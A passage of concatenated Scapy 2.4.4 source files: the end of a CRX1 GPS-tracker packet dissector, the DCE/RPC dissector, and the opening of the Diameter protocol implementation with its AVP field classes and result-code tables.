0x00), lambda pkt: len(pkt.original) > 5 and pkt .protocol_number in (0x12, 0x16)), ConditionalField( XByteField('mnc', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x12, 0x16)), ConditionalField( XShortField('lac', 0x00), lambda pkt: len(pkt.original) > 5 and pkt .protocol_number in (0x12, 0x16)), ConditionalField( X3BytesField('cell_id', 0x00), lambda pkt: len(pkt.original) > 5 and \ pkt.protocol_number in (0x12, 0x16)), ConditionalField( IntField('mileage', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x12, ) and len(pkt.original) > 31), # Heartbeat ConditionalField( BitEnumField('defence', 0x00, 1, { 0: "Deactivated", 1: "Activated" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x13, 0x16)), ConditionalField( BitEnumField('acc', 0x00, 1, { 0: "Low", 1: "High" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x13, 0x16)), ConditionalField( BitEnumField('charge', 0x00, 1, { 0: "Not Charge", 1: "Charging" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x13, 0x16)), ConditionalField( BitEnumField( 'alarm', 0x00, 3, { 0: "Normal", 1: "Vibration", 2: "Power Cut", 3: "Low Battery", 4: "SOS" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x13, 0x16)), ConditionalField( BitEnumField('gps_tracking', 0x00, 1, { 0: "Not Charge", 1: "Charging" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x13, 0x16)), ConditionalField( BitEnumField('oil_and_eletricity', 0x00, 1, { 0: "Connected", 1: "Disconnected" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x13, 0x16)), ConditionalField( ByteEnumField("voltage_level", 0x00, VOLTAGE_LEVELS), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x13, 0x16)), ConditionalField( ByteEnumField("gsm_signal_strength", 0x00, GSM_SIGNAL_STRENGTH), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x13, 0x16)), # Online Command ConditionalField( FieldLenField('command_length', None, fmt='B', length_of="command_content"), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x80, 0x15)), ConditionalField( XIntField('server_flag_bit', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x80, 0x15)), ConditionalField( StrLenField( "command_content", "", length_from=lambda pkt: pkt.command_length - 4), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x80, 0x15)), # Commun ConditionalField( ByteEnumField( "alarm_extended", 0x00, { 0x00: "Normal", 0x01: "SOS", 0x02: "Power cut", 0x03: "Vibration", 0x04: "Enter fence", 0x05: "Exit fence", 0x06: "Over speed", 0x09: "Displacement", 0x0a: "Enter GPS dead zone", 0x0b: "Exit GPS dead zone", 0x0c: "Power on", 0x0d: "GPS First fix notice", 0x0e: "Low battery", 0x0f: "Low battery protection", 0x10: "SIM Change", 0x11: "Power off", 0x12: "Airplane mode", 0x13: "Disassemble", 0x14: "Door", 0xfe: "ACC On", 0xff: "ACC Off", }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x13, 0x15, 0x16)), ConditionalField( ByteEnumField("language", 0x00, LANGUAGE), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x13, 0x15, 0x16)), # Information transmission ConditionalField( ByteEnumField("subprotocol_number", 0x00, SUBPROTOCOL_NUMBERS), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x94, )), ConditionalField( ShortField('external_battery', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x94, ) and pkt.subprotocol_number == 0x00), ConditionalField( FlagsField('external_io_detection', 0x00, 8, [ 'door_status', 'trigger_status', 'io_status', ]), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x94, ) and pkt.subprotocol_number == 0x05), # Default XShortField('information_serial_number', None), XShortField('crc', None), ] class CRX1New(Packet): name = "CRX1 New" fields_desc = [ XShortField('start_bit', 0x7878), ConditionalField(ByteField( 'default_packet_length', None, ), lambda pkt: pkt.start_bit == 0x7878), ConditionalField(ShortField( 'extended_packet_length', None, ), lambda pkt: pkt.start_bit == 0x7979), ConditionalField( PacketLenField('default_packet_content', None, CRX1NewPacketContent, length_from=lambda pkt: pkt.default_packet_length), lambda pkt: pkt.start_bit == 0x7878), ConditionalField( PacketLenField('extended_packet_content', None, CRX1NewPacketContent, length_from=lambda pkt: pkt.extended_packet_length), lambda pkt: pkt.start_bit == 0x7979), XShortField('end_bit', 0x0d0a), ] bind_layers(TCP, CRX1New, sport=8821, dport=8821) bind_layers(UDP, CRX1New, sport=8821, dport=8821) scapy-2.4.4/scapy/contrib/dce_rpc.py000066400000000000000000000145611372370053500174040ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) 2016 Gauthier Sebaux # scapy.contrib.description = DCE/RPC # scapy.contrib.status = loads """ A basic dissector for DCE/RPC. Isn't reliable for all packets and for building """ import struct # TODO: namespace locally used fields from scapy.packet import Packet, Raw, bind_layers from scapy.fields import BitEnumField, ByteEnumField, ByteField, \ FlagsField, IntField, LenField, ShortField, UUIDField, XByteField, \ XShortField # Fields class EndiannessField(object): """Field which change the endianness of a sub-field""" __slots__ = ["fld", "endianess_from"] def __init__(self, fld, endianess_from): self.fld = fld self.endianess_from = endianess_from def set_endianess(self, pkt): """Add the endianness to the format""" end = self.endianess_from(pkt) if isinstance(end, str) and end: if isinstance(self.fld, UUIDField): self.fld.uuid_fmt = (UUIDField.FORMAT_LE if end == '<' else UUIDField.FORMAT_BE) else: # fld.fmt should always start with a order specifier, cf field # init self.fld.fmt = end[0] + self.fld.fmt[1:] self.fld.struct = struct.Struct(self.fld.fmt) def getfield(self, pkt, buf): """retrieve the field with endianness""" self.set_endianess(pkt) return self.fld.getfield(pkt, buf) def addfield(self, pkt, buf, val): """add the field with endianness to the buffer""" self.set_endianess(pkt) return self.fld.addfield(pkt, buf, val) def __getattr__(self, attr): return getattr(self.fld, attr) # DCE/RPC Packet DCE_RPC_TYPE = ["request", "ping", "response", "fault", "working", "no_call", "reject", "acknowledge", "connectionless_cancel", "frag_ack", "cancel_ack"] DCE_RPC_FLAGS1 = ["reserved_0", "last_frag", "frag", "no_frag_ack", "maybe", "idempotent", "broadcast", "reserved_7"] DCE_RPC_FLAGS2 = ["reserved_0", "cancel_pending", "reserved_2", "reserved_3", "reserved_4", "reserved_5", "reserved_6", "reserved_7"] def dce_rpc_endianess(pkt): """Determine the right endianness sign for a given DCE/RPC packet""" if pkt.endianness == 0: # big endian return ">" elif pkt.endianness == 1: # little endian return "<" else: return "!" class DceRpc(Packet): """DCE/RPC packet""" name = "DCE/RPC" fields_desc = [ ByteField("version", 4), ByteEnumField("type", 0, DCE_RPC_TYPE), FlagsField("flags1", 0, 8, DCE_RPC_FLAGS1), FlagsField("flags2", 0, 8, DCE_RPC_FLAGS2), BitEnumField("endianness", 0, 4, ["big", "little"]), BitEnumField("encoding", 0, 4, ["ASCII", "EBCDIC"]), ByteEnumField("float", 0, ["IEEE", "VAX", "CRAY", "IBM"]), ByteField("DataRepr_reserved", 0), XByteField("serial_high", 0), EndiannessField(UUIDField("object_uuid", None), endianess_from=dce_rpc_endianess), EndiannessField(UUIDField("interface_uuid", None), endianess_from=dce_rpc_endianess), EndiannessField(UUIDField("activity", None), endianess_from=dce_rpc_endianess), EndiannessField(IntField("boot_time", 0), endianess_from=dce_rpc_endianess), EndiannessField(IntField("interface_version", 1), endianess_from=dce_rpc_endianess), EndiannessField(IntField("sequence_num", 0), endianess_from=dce_rpc_endianess), EndiannessField(ShortField("opnum", 0), endianess_from=dce_rpc_endianess), EndiannessField(XShortField("interface_hint", 0xffff), endianess_from=dce_rpc_endianess), EndiannessField(XShortField("activity_hint", 0xffff), endianess_from=dce_rpc_endianess), EndiannessField(LenField("frag_len", None, fmt="H"), endianess_from=dce_rpc_endianess), EndiannessField(ShortField("frag_num", 0), endianess_from=dce_rpc_endianess), ByteEnumField("auth", 0, ["none"]), # TODO other auth ? XByteField("serial_low", 0), ] # Heuristically way to find the payload class # # To add a possible payload to a DCE/RPC packet, one must first create the # packet class, then instead of binding layers using bind_layers, he must # call DceRpcPayload.register_possible_payload() with the payload class as # parameter. # # To be able to decide if the payload class is capable of handling the rest of # the dissection, the classmethod can_handle() should be implemented in the # payload class. This method is given the rest of the string to dissect as # first argument, and the DceRpc packet instance as second argument. Based on # this information, the method must return True if the class is capable of # handling the dissection, False otherwise class DceRpcPayload(Packet): """Dummy class which use the dispatch_hook to find the payload class""" _payload_class = [] @classmethod def dispatch_hook(cls, _pkt, _underlayer=None, *args, **kargs): """dispatch_hook to choose among different registered payloads""" for klass in cls._payload_class: if hasattr(klass, "can_handle") and \ klass.can_handle(_pkt, _underlayer): return klass print("DCE/RPC payload class not found or undefined (using Raw)") return Raw @classmethod def register_possible_payload(cls, pay): """Method to call from possible DCE/RPC endpoint to register it as possible payload""" cls._payload_class.append(pay) bind_layers(DceRpc, DceRpcPayload) scapy-2.4.4/scapy/contrib/diameter.py000066400000000000000000005477401372370053500176110ustar00rootroot00000000000000########################################################################## # # Diameter protocol implementation for Scapy # Original Author: patrick battistello # # This implements the base Diameter protocol RFC6733 and the additional standards: # noqa: E501 # RFC7155, RFC4004, RFC4006, RFC4072, RFC4740, RFC5778, RFC5447, RFC6942, RFC5777 # noqa: E501 # ETS29229 V12.3.0 (2014-09), ETS29272 V13.1.0 (2015-03), ETS29329 V12.5.0 (2014-12), # noqa: E501 # ETS29212 V13.1.0 (2015-03), ETS32299 V13.0.0 (2015-03), ETS29210 V6.7.0 (2006-12), # noqa: E501 # ETS29214 V13.1.0 (2015-03), ETS29273 V12.7.0 (2015-03), ETS29173 V12.3.0 (2015-03), # noqa: E501 # ETS29172 V12.5.0 (2015-03), ETS29215 V13.1.0 (2015-03), ETS29209 V6.8.0 (2011-09), # noqa: E501 # ETS29061 V13.0.0 (2015-03), ETS29219 V13.0.0 (2014-12) # # IMPORTANT note: # # - Some Diameter fields (Unsigned64, Float32, ...) have not been tested yet due to lack # noqa: E501 # of network captures containing AVPs of that types contributions are welcomed. # noqa: E501 # ########################################################################## # scapy.contrib.description = Diameter # scapy.contrib.status = loads import socket import struct from time import ctime from scapy.packet import Packet, bind_layers from scapy.fields import ConditionalField, EnumField, Field, FieldLenField, \ FlagsField, IEEEDoubleField, IEEEFloatField, IntEnumField, IntField, \ LongField, PacketListField, SignedIntField, StrLenField, X3BytesField, \ XByteField, XIntField from scapy.layers.inet import TCP from scapy.layers.sctp import SCTPChunkData import scapy.modules.six as six from scapy.modules.six.moves import range from scapy.compat import chb, orb, raw, bytes_hex, plain_str from scapy.error import warning from scapy.utils import inet_ntoa, inet_aton from scapy.pton_ntop import inet_pton, inet_ntop ##################################################################### ##################################################################### # # Definition of additional fields # ##################################################################### ##################################################################### class I3BytesEnumField (X3BytesField, EnumField): """ 3 bytes enum field """ def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, "!I") class I3FieldLenField(X3BytesField, FieldLenField): __slots__ = ["length_of", "count_of", "adjust"] def __init__( self, name, default, length_of=None, count_of=None, adjust=lambda pkt, x: x): X3BytesField.__init__(self, name, default) self.length_of = length_of self.count_of = count_of self.adjust = adjust def i2m(self, pkt, x): return FieldLenField.i2m(self, pkt, x) ########################################################### # Fields for Diameter commands ########################################################### class DRFlags (FlagsField): def i2repr(self, pkt, x): if x is None: return "None" res = hex(int(x)) r = '' cmdt = (x & 128) and ' Request' or ' Answer' if x & 15: # Check if reserved bits are used nb = 8 offset = 0 else: # Strip the first 4 bits nb = 4 offset = 4 x >>= 4 for i in range(nb): r += (x & 1) and str(self.names[offset + i][0]) or '-' x >>= 1 invert = r[::-1] return res + cmdt + ' (' + invert[:nb] + ')' class DRCode (I3BytesEnumField): def __init__(self, name, default, enum): """enum is a dict of tuples, so conversion is required before calling the actual init method. # noqa: E501 Note: the conversion is done only once.""" enumDict = {} for k, v in enum.items(): enumDict[k] = v[0] I3BytesEnumField.__init__(self, name, default, enumDict) def i2repr(self, pkt, x): cmd = self.i2repr_one(pkt, x) sx = str(x) if cmd == sx: cmd = 'Unknown' return sx + " (" + cmd + ")" ########################################################### # Fields for Diameter AVPs ########################################################### class AVPFlags (FlagsField): def i2repr(self, pkt, x): if x is None: return "None" res = hex(int(x)) r = '' if x & 31: # Check if reserved bits are used nb = 8 offset = 0 else: # Strip the first 5 bits nb = 3 offset = 5 x >>= 5 for i in range(nb): r += (x & 1) and str(self.names[offset + i][0]) or '-' x >>= 1 invert = r[::-1] return res + ' (' + invert[:nb] + ')' class AVPVendor (IntField): def i2repr(self, pkt, x): vendor = vendorList.get(x, "Unkown_Vendor") return "%s (%s)" % (vendor, str(x)) # Note the dictionary below is minimal (taken from scapy/layers/dhcp6.py # + added 3GPP and ETSI vendorList = { 9: "ciscoSystems", 35: "Nortel Networks", 43: "3Com", 311: "Microsoft", 323: "Tekelec", 2636: "Juniper Networks, Inc.", 4526: "Netgear", 5771: "Cisco Systems, Inc.", 5842: "Cisco Systems", 8164: "Starent Networks", 10415: "3GPP", 13019: "ETSI", 16885: "Nortel Networks"} # The Application IDs for the Diameter command field AppIDsEnum = { 0: "Diameter_Common_Messages", 1: "NASREQ_Application", 2: "Mobile_IPv4_Application", 3: "Diameter_Base_Accounting", 4: "Diameter_Credit_Control_Application", 5: "EAP_Application", 6: "Diameter_Session_Initiation_Protocol_(SIP)_Application", 7: "Diameter_Mobile_IPv6_IKE___(MIP6I)", 8: "Diameter_Mobile_IPv6_Auth__(MIP6A)", 111: "ALU_Sy", 555: "Sun_Ping_Application", 16777216: "3GPP_Cx", 16777217: "3GPP_Sh", 16777222: "3GPP_Gq", 16777223: "3GPP_Gmb", 16777224: "3GPP_Gx", 16777227: "Ericsson_MSI", 16777228: "Ericsson_Zx", 16777229: "3GPP_RX", 16777231: "Diameter_e2e4_Application", 16777232: "Ericsson_Charging-CIP", 16777236: "3GPP_Rx", 16777238: "3GPP_Gx", 16777250: "3GPP_STa", 16777251: "3GPP_S6a/S6d", 16777252: "3GPP_S13/S13'", 16777255: "3GPP_SLg", 16777264: "3GPP_SWm", 16777265: "3GPP_SWx", 16777266: "3GPP_Gxx", 16777267: "3GPP_S9", 16777269: "Ericsson_HSI", 16777272: "3GPP_S6b", 16777291: "3GPP_SLh", 16777292: "3GPP_SGmb", 16777302: "3GPP_Sy", 16777304: "Ericsson_Sy", 16777315: "Ericsson_Diameter_Signalling_Controller_Application_(DSC)", 4294967295: "Relay", } ########################################################### # Definition of fields contained in section 4.2 of RFC6733 # for AVPs payloads ########################################################### class OctetString (StrLenField): def i2repr(self, pkt, x): try: return plain_str(x) except BaseException: return bytes_hex(x) class Integer32 (SignedIntField): pass class Integer64 (Field): def __init__(self, name, default): Field.__init__(self, name, default, "q") class Unsigned32 (IntField): pass class Unsigned64 (LongField): pass class Float32 (IEEEFloatField): pass class Float64 (IEEEDoubleField): pass ########################################################### # Definition of additional fields contained in section 4.3 # of RFC6733 for AVPs payloads ########################################################### class Address (StrLenField): def i2repr(self, pkt, x): if x.startswith(b'\x00\x01'): # IPv4 address return inet_ntoa(x[2:]) elif x.startswith(b'\x00\x02'): # IPv6 address return inet_ntop(socket.AF_INET6, x[2:]) else: # Address format not yet decoded print('Warning: Address format not yet decoded.') return bytes_hex(x) def any2i(self, pkt, x): if x and isinstance(x, str): try: # Try IPv4 conversion s = inet_aton(x) return b'\x00\x01' + s except BaseException: try: # Try IPv6 conversion s = inet_pton(socket.AF_INET6, x) return b'\x00\x02' + s except BaseException: print('Warning: Address format not supported yet.') return b'' class Time (IntField): def i2repr(self, pkt, x): return ctime(x) class Enumerated (IntEnumField): def i2repr(self, pkt, x): if x in self.i2s: return self.i2s[x] + " (%d)" % x else: return repr(x) + " (Unknown)" class IPFilterRule (StrLenField): pass class Grouped (StrLenField): """This class is just for declarative purpose because it is used in the AVP definitions dict.""" # noqa: E501 pass #################################################################### # Definition of additional fields contained in other standards #################################################################### class QoSFilterRule (StrLenField): # Defined in 4.1.1 of RFC7155 pass class ISDN (StrLenField): def i2repr(self, pkt, x): out = b'' for char in x: c = orb(char) out += chb(48 + (c & 15)) # convert second digit first v = (c & 240) >> 4 if v != 15: out += chb(48 + v) return out def any2i(self, pkt, x): out = b'' if x: fd = True # waiting for first digit for c in x: digit = orb(c) - 48 if fd: val = digit else: val = val + 16 * digit out += chb(val) fd = not fd if not fd: # Fill with 'f' if odd number of characters out += chb(240 + val) return out ##################################################################### ##################################################################### # # AVPs classes and definitions # ##################################################################### ##################################################################### AVP_Code_length = 4 AVP_Flag_length = 1 DIAMETER_BYTES_ALIGNMENT = 4 AVP_Flags_List = ["x", "x", "x", "x", "x", "P", "M", "V"] def GuessAvpType(p, **kargs): if len(p) > AVP_Code_length + AVP_Flag_length: # Set AVP code and vendor avpCode = struct.unpack("!I", p[:AVP_Code_length])[0] vnd = bool(struct.unpack( "!B", p[AVP_Code_length:AVP_Code_length + AVP_Flag_length])[0] & 128) # noqa: E501 vndCode = vnd and struct.unpack("!I", p[8:12])[0] or 0 # Check if vendor and code defined and fetch the corresponding AVP # definition if vndCode in AvpDefDict: AvpVndDict = AvpDefDict[vndCode] if avpCode in AvpVndDict: # Unpack only the first 4 tuple items at this point avpName, AVPClass, flags = AvpVndDict[avpCode][:3] result = AVPClass(p, **kargs) result.name = 'AVP ' + avpName return result # Packet too short or AVP vendor or AVP code not found ... return AVP_Unknown(p, **kargs) class AVP_Generic (Packet): """ Parent class for the 5 following AVP intermediate classes below""" def extract_padding(self, s): nbBytes = self.avpLen % DIAMETER_BYTES_ALIGNMENT if nbBytes: nbBytes = DIAMETER_BYTES_ALIGNMENT - nbBytes return s[:nbBytes], s[nbBytes:] def post_build(self, p, pay): nbBytes = (-len(p)) % 4 while nbBytes: p += struct.pack("B", 0) nbBytes -= 1 return p + pay def show2(self): self.__class__(raw(self), name=self.name).show() def AVP(avpId, **fields): """ Craft an AVP based on its id and optional parameter fields""" val = None classType = AVP_Unknown if isinstance(avpId, str): try: for vnd in AvpDefDict: for code in AvpDefDict[vnd]: val = AvpDefDict[vnd][code] if val[0][:len( avpId)] == avpId: # A prefix of the full name is considered valid # noqa: E501 raise found = False except BaseException: found = True else: if isinstance(avpId, list): code = avpId[0] vnd = avpId[1] else: # Assume this is an int code = avpId vnd = 0 try: val = AvpDefDict[vnd][code] found = True except BaseException: found = False if not found: warning('The AVP identifier %s has not been found.' % str(avpId)) if isinstance(avpId, str): # The string input is not valid return None # At this point code, vnd are provisionned val may be set (if found is True) # noqa: E501 # Set/override AVP code fields['avpCode'] = code # Set vendor if not already defined and relevant if 'avpVnd' not in fields and vnd: fields['avpVnd'] = vnd # Set flags if not already defined and possible ... if 'avpFlags' not in fields: if val: fields['avpFlags'] = val[2] else: fields['avpFlags'] = vnd and 128 or 0 # Finally, set the name and class if possible if val: classType = val[1] _ret = classType(**fields) if val: _ret.name = 'AVP ' + val[0] return _ret # AVP intermediate classes: ############################ class AVP_FL_NV (AVP_Generic): """ Defines the AVP of Fixed Length with No Vendor field.""" fields_desc = [ IntField("avpCode", None), AVPFlags("avpFlags", None, 8, AVP_Flags_List), X3BytesField("avpLen", None) ] class AVP_FL_V (AVP_Generic): """ Defines the AVP of Fixed Length with Vendor field.""" fields_desc = [ IntField("avpCode", None), AVPFlags("avpFlags", None, 8, AVP_Flags_List), X3BytesField("avpLen", None), AVPVendor("avpVnd", 0) ] class AVP_VL_NV (AVP_Generic): """ Defines the AVP of Variable Length with No Vendor field.""" fields_desc = [ IntField("avpCode", None), AVPFlags("avpFlags", None, 8, AVP_Flags_List), I3FieldLenField("avpLen", None, length_of="val", adjust=lambda pkt, x:x + 8) ] class AVP_VL_V (AVP_Generic): """ Defines the AVP of Variable Length with Vendor field.""" fields_desc = [ IntField("avpCode", None), AVPFlags("avpFlags", None, 8, AVP_Flags_List), I3FieldLenField("avpLen", None, length_of="val", adjust=lambda pkt, x:x + 12), AVPVendor("avpVnd", 0) ] class AVP_Unknown (AVP_Generic): """ The default structure for AVPs which could not be decoded (optional vendor field, variable length). """ # noqa: E501 name = 'AVP Unknown' fields_desc = [ IntField("avpCode", None), AVPFlags("avpFlags", None, 8, AVP_Flags_List), I3FieldLenField("avpLen", None, length_of="val", adjust=lambda pkt, x:x + 8 + ((pkt.avpFlags & 0x80) >> 5)), # noqa: E501 ConditionalField(AVPVendor("avpVnd", 0), lambda pkt:pkt.avpFlags & 0x80), # noqa: E501 StrLenField("val", None, length_from=lambda pkt:pkt.avpLen - 8 - ((pkt.avpFlags & 0x80) >> 5)) # noqa: E501 ] # AVP 'low level' classes: ############################ class AVPV_StrLenField (AVP_VL_V): fields_desc = [ AVP_VL_V, StrLenField("val", None, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_StrLenField (AVP_VL_NV): fields_desc = [ AVP_VL_NV, StrLenField("val", None, length_from=lambda pkt:pkt.avpLen - 8) ] class AVPV_OctetString (AVP_VL_V): fields_desc = [ AVP_VL_V, OctetString("val", None, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_OctetString (AVP_VL_NV): fields_desc = [ AVP_VL_NV, OctetString("val", None, length_from=lambda pkt:pkt.avpLen - 8) ] class AVPV_Grouped (AVP_VL_V): fields_desc = [ AVP_VL_V, PacketListField('val', [], GuessAvpType, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_Grouped (AVP_VL_NV): fields_desc = [ AVP_VL_NV, PacketListField('val', [], GuessAvpType, length_from=lambda pkt:pkt.avpLen - 8)] class AVPV_Unsigned32 (AVP_FL_V): avpLen = 16 fields_desc = [AVP_FL_V, Unsigned32('val', None)] class AVPNV_Unsigned32 (AVP_FL_NV): avpLen = 12 fields_desc = [AVP_FL_NV, Unsigned32('val', None)] class AVPV_Integer32 (AVP_FL_V): avpLen = 16 fields_desc = [AVP_FL_V, Integer32('val', None)] class AVPNV_Integer32 (AVP_FL_NV): avpLen = 12 fields_desc = [AVP_FL_NV, Integer32('val', None)] class AVPV_Unsigned64 (AVP_FL_V): avpLen = 20 fields_desc = [AVP_FL_V, Unsigned64('val', None)] class AVPNV_Unsigned64 (AVP_FL_NV): avpLen = 16 fields_desc = [AVP_FL_NV, Unsigned64('val', None)] class AVPV_Integer64 (AVP_FL_V): avpLen = 20 fields_desc = [AVP_FL_V, Integer64('val', None)] class AVPNV_Integer64 (AVP_FL_NV): avpLen = 16 fields_desc = [AVP_FL_NV, Integer64('val', None)] class AVPV_Time (AVP_FL_V): avpLen = 16 fields_desc = [AVP_FL_V, Time("val", None)] class AVPNV_Time (AVP_FL_NV): avpLen = 12 fields_desc = [AVP_FL_NV, Time("val", None)] class AVPV_Address (AVP_VL_V): fields_desc = [ AVP_VL_V, Address("val", None, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_Address (AVP_VL_NV): fields_desc = [ AVP_VL_NV, Address("val", None, length_from=lambda pkt:pkt.avpLen - 8) ] class AVPV_IPFilterRule (AVP_VL_V): fields_desc = [ AVP_VL_V, IPFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_IPFilterRule (AVP_VL_NV): fields_desc = [ AVP_VL_NV, IPFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 8) ] class AVPV_QoSFilterRule (AVP_VL_V): fields_desc = [ AVP_VL_V, QoSFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 12) ] class AVPNV_QoSFilterRule (AVP_VL_NV): fields_desc = [ AVP_VL_NV, QoSFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 8) ] ############################################### # Actual AVPs based on previous parent classes ############################################### # AVP special classes (which required interpretation/adaptation from standard) ############################################################################## class AVP_0_258 (AVP_FL_NV): name = 'AVP Auth-Application-Id' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, AppIDsEnum)] class AVP_0_266 (AVP_FL_NV): name = 'AVP Vendor-Id' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, vendorList)] class AVP_0_268 (AVP_FL_NV): name = 'AVP Result-Code' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {1001: "DIAMETER_MULTI_ROUND_AUTH", 2001: "DIAMETER_SUCCESS", 2002: "DIAMETER_LIMITED_SUCCESS", 2003: "DIAMETER_FIRST_REGISTRATION", 2004: "DIAMETER_SUBSEQUENT_REGISTRATION", 2005: "DIAMETER_UNREGISTERED_SERVICE", 2006: "DIAMETER_SUCCESS_SERVER_NAME_NOT_STORED", 2007: "DIAMETER_SERVER_SELECTION", 2008: "DIAMETER_SUCCESS_AUTH_SENT_SERVER_NOT_STORED", # noqa: E501 2009: "DIAMETER_SUCCESS_RELOCATE_HA", 3001: "DIAMETER_COMMAND_UNSUPPORTED", 3002: "DIAMETER_UNABLE_TO_DELIVER", 3003: "DIAMETER_REALM_NOT_SERVED", 3004: "DIAMETER_TOO_BUSY", 3005: "DIAMETER_LOOP_DETECTED", 3006: "DIAMETER_REDIRECT_INDICATION", 3007: "DIAMETER_APPLICATION_UNSUPPORTED", 3008: "DIAMETER_INVALID_HDR_BITS", 3009: "DIAMETER_INVALID_AVP_BITS", 3010: "DIAMETER_UNKNOWN_PEER", 4001: "DIAMETER_AUTHENTICATION_REJECTED", 4002: "DIAMETER_OUT_OF_SPACE", 4003: "DIAMETER_ELECTION_LOST", 4005: "DIAMETER_ERROR_MIP_REPLY_FAILURE", 4006: "DIAMETER_ERROR_HA_NOT_AVAILABLE", 4007: "DIAMETER_ERROR_BAD_KEY", 4008: "DIAMETER_ERROR_MIP_FILTER_NOT_SUPPORTED", 4010: "DIAMETER_END_USER_SERVICE_DENIED", 4011: "DIAMETER_CREDIT_CONTROL_NOT_APPLICABLE", 4012: "DIAMETER_CREDIT_LIMIT_REACHED", 4013: "DIAMETER_USER_NAME_REQUIRED", 4241: "DIAMETER_END_USER_SERVICE_DENIED", 5001: "DIAMETER_AVP_UNSUPPORTED", 5002: "DIAMETER_UNKNOWN_SESSION_ID", 5003: "DIAMETER_AUTHORIZATION_REJECTED", 5004: "DIAMETER_INVALID_AVP_VALUE", 5005: "DIAMETER_MISSING_AVP", 5006: "DIAMETER_RESOURCES_EXCEEDED", 5007: "DIAMETER_CONTRADICTING_AVPS", 5008: "DIAMETER_AVP_NOT_ALLOWED", 5009: "DIAMETER_AVP_OCCURS_TOO_MANY_TIMES", 5010: "DIAMETER_NO_COMMON_APPLICATION", 5011: "DIAMETER_UNSUPPORTED_VERSION", 5012: "DIAMETER_UNABLE_TO_COMPLY", 5013: "DIAMETER_INVALID_BIT_IN_HEADER", 5014: "DIAMETER_INVALID_AVP_LENGTH", 5015: "DIAMETER_INVALID_MESSAGE_LENGTH", 5016: "DIAMETER_INVALID_AVP_BIT_COMBO", 5017: "DIAMETER_NO_COMMON_SECURITY", 5018: "DIAMETER_RADIUS_AVP_UNTRANSLATABLE", 5024: "DIAMETER_ERROR_NO_FOREIGN_HA_SERVICE", 5025: "DIAMETER_ERROR_END_TO_END_MIP_KEY_ENCRYPTION", # noqa: E501 5030: "DIAMETER_USER_UNKNOWN", 5031: "DIAMETER_RATING_FAILED", 5032: "DIAMETER_ERROR_USER_UNKNOWN", 5033: "DIAMETER_ERROR_IDENTITIES_DONT_MATCH", 5034: "DIAMETER_ERROR_IDENTITY_NOT_REGISTERED", 5035: "DIAMETER_ERROR_ROAMING_NOT_ALLOWED", 5036: "DIAMETER_ERROR_IDENTITY_ALREADY_REGISTERED", # noqa: E501 5037: "DIAMETER_ERROR_AUTH_SCHEME_NOT_SUPPORTED", # noqa: E501 5038: "DIAMETER_ERROR_IN_ASSIGNMENT_TYPE", 5039: "DIAMETER_ERROR_TOO_MUCH_DATA", 5040: "DIAMETER_ERROR_NOT SUPPORTED_USER_DATA", 5041: "DIAMETER_ERROR_MIP6_AUTH_MODE", 5241: "DIAMETER_END_USER_NOT_FOUND", })] class AVP_0_298 (AVP_FL_NV): name = 'AVP Experimental-Result-Code' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 2001: "DIAMETER_FIRST_REGISTRATION", 2002: "DIAMETER_SUBSEQUENT_REGISTRATION", 2003: "DIAMETER_UNREGISTERED_SERVICE", 2004: "DIAMETER_SUCCESS_SERVER_NAME_NOT_STORED", 2021: "DIAMETER_PDP_CONTEXT_DELETION_INDICATION", 4100: "DIAMETER_USER_DATA_NOT_AVAILABLE", 4101: "DIAMETER_PRIOR_UPDATE_IN_PROGRESS", 4121: "DIAMETER_ERROR_OUT_OF_RESOURCES", 4141: "DIAMETER_PCC_BEARER_EVENT", 4181: "DIAMETER_AUTHENTICATION_DATA_UNAVAILABLE", 4201: "DIAMETER_ERROR_ABSENT_USER", 4221: "DIAMETER_ERROR_UNREACHABLE_USER", 4222: "DIAMETER_ERROR_SUSPENDED_USER", 4223: "DIAMETER_ERROR_DETACHED_USER", 4224: "DIAMETER_ERROR_POSITIONING_DENIED", 4225: "DIAMETER_ERROR_POSITIONING_FAILED", 4226: "DIAMETER_ERROR_UNKNOWN_UNREACHABLE LCS_CLIENT", 5001: "DIAMETER_ERROR_USER_UNKNOWN", 5002: "DIAMETER_ERROR_IDENTITIES_DONT_MATCH", 5003: 